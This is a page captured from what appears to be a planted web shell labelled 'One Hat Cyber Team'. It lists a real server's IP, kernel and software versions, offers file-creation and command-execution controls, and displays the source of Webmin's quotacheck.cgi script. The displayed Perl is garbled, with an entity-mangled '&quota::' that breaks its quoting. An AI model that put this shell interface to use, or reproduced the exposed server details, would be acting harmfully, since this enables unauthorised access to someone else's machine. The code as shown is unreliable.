⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.93
Server IP:
65.108.141.171
Server:
Linux server.heloix.com 5.4.0-214-generic #234-Ubuntu SMP Fri Mar 14 23:50:27 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
webmin
/
virtual-server
/
View File Name :
quotacheck.cgi
#!/usr/bin/perl # Actually check quotas require './virtual-server-lib.pl'; &can_edit_templates() || &error($text{'newquotacheck_ecannot'}); &ReadParse(); &ui_print_unbuffered_header(undef, $text{'newquotacheck_title'}, ""); # Validate inputs push(@quotafs, "home") if (&has_home_quotas() && $in{'home'}); push(@quotafs, "mail") if (&has_mail_quotas() && $in{'mail'}); @quotafs || &error($text{'newquotacheck_enone'}); # Run the checks &require_useradmin(); foreach $fs (@quotafs) { $dir = $config{$fs.'_quotas'}; if ($in{'who'} == 0 || $in{'who'} == 2) { # Check users &$first_print(&text('newquotacheck_udoing', "<tt>$dir</tt>")); $out = "a::quotacheck($dir, 1); print "<pre>$out</pre>"; &$second_print($text{'setup_done'}); } if ($in{'who'} == 1 || $in{'who'} == 2) { # Check groups &$first_print(&text('newquotacheck_gdoing', "<tt>$dir</tt>")); $out = "a::quotacheck($dir, 2); print "<pre>$out</pre>"; &$second_print($text{'setup_done'}); } } &run_post_actions(); &webmin_log("quotacheck"); &ui_print_footer("", $text{'index_return'});